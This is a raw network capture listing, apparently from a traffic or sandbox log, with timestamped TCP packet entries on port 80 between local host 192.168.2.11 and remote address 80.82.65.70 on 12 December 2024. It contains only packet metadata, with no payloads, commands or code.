Dec 12, 2024 16:48:05.122154951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.122236967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.122297049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.122848988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.122988939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.123035908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.123631954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.123713017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.123785973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.124408960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.124464035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.124620914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.125258923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.125333071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.125379086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.126151085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.126168013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.126260996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.126336098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.126863956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.127108097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.127156973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.127574921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.127634048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.127715111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.128355980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.128415108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.128449917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.129120111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.129247904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.129287004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.129904032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.130028963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.130069971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.130716085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.130750895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.130814075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.131306887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.131503105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.131611109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.131652117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.132249117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.132319927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.132402897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.132460117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.133057117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.133100986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.133100986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.133147001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.133833885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.133891106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.134073973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.134124994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.134586096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.134716034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.134718895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.134777069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.135370970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.135436058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.135478973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.135654926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.136162043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.136229038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.136308908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.136380911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.136940956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.137057066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.137059927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.137159109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.137712002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.137770891 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.137837887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.137904882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.138499022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.138555050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.138715982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.138781071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.139420986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.139476061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.139533043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.139616966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.140111923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.140158892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.140408993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.140481949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.140842915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.140918016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.140966892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.141041994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.141691923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.141715050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.141772032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.196412086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.196507931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.196566105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.196647882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.196674109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.196683884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.197369099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.197506905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.197580099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.197596073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.198174953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.198316097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.198378086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.232419014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.232501030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.232681990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.232734919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.232810020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.233558893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.233614922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.233653069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.234056950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.234304905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.234453917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.234503031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.235157013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.235496998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.235539913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.235893011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.235943079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.236022949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.236689091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.236738920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.236819983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.237466097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.237581968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.237587929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.237683058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.238249063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.238289118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.238356113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.239025116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.239079952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.239106894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.239671946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.239768982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.239820004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.239897966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.239959002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.240799904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.240823984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.240855932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.240869999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.241430044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.241482973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.241564035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.241626978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.242153883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.242261887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.242324114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.242964029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.243036985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.243046999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.243081093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.243710995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.243762016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.243823051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.243895054 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.244570017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.244704008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.244707108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.244893074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.245287895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.245368004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.245451927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.245515108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.246042013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.246095896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.246145010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.246296883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.246829033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.246912003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.246928930 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.247000933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.311722994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.311747074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.311815023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.312170029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.312241077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.312258959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.312308073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.313052893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.313174963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.313365936 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.313718081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.313782930 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.313836098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.314605951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.314702988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.314766884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.315273046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.315342903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.315388918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.316150904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.316184998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.316201925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.316224098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.316788912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.316838026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.316993952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.317212105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.317621946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.317711115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.317718983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.317766905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.318536043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.318656921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.318697929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.319139004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.319273949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.319334984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.319940090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.320003033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.320066929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.320353031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.320710897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.320812941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.320815086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.320854902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.321533918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.321646929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.321697950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.322331905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.322374105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.322424889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.323091984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.323156118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.323185921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.323230982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.323873043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.323944092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.323952913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.324014902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.324681997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.324805975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.324867964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.325544119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.325613976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.325654984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.325680017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.326175928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.326265097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.326477051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.326561928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.327080965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.327158928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.327179909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.327255964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.327795982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.327939987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.327999115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.328568935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.328633070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.328648090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.328681946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.329336882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.329392910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.329471111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.329521894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.330089092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.330210924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.330250025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.330296040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.330904007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.330992937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.331007957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.331075907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.331832886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.331962109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.332035065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.332657099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.332712889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.332792044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.332864046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.333959103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.334016085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.334081888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.334428072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.334580898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.334641933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.388753891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.388776064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.388942003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.388941050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.388963938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.389008999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.389748096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.389853001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.389902115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.390475035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.390571117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.390614986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.424432993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.424468994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.424559116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.424587011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.424640894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.424680948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.425379038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.425436974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.425551891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.425796032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.426105976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.426202059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.426239014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.426310062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.426882982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.427047014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.427098989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.427680969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.427830935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.427845955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.427913904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.428468943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.428524017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.428587914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.428657055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.429229975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.429310083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.429373026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.429434061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.430047989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.430109978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.430185080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.430793047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.430979013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.431054115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.431622028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.431665897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.431756020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.432363987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.432415009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.432470083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.432831049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.433136940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.433227062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.433248997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.433305025 CET	49819	80	192.168.2.11	80.82.65.70
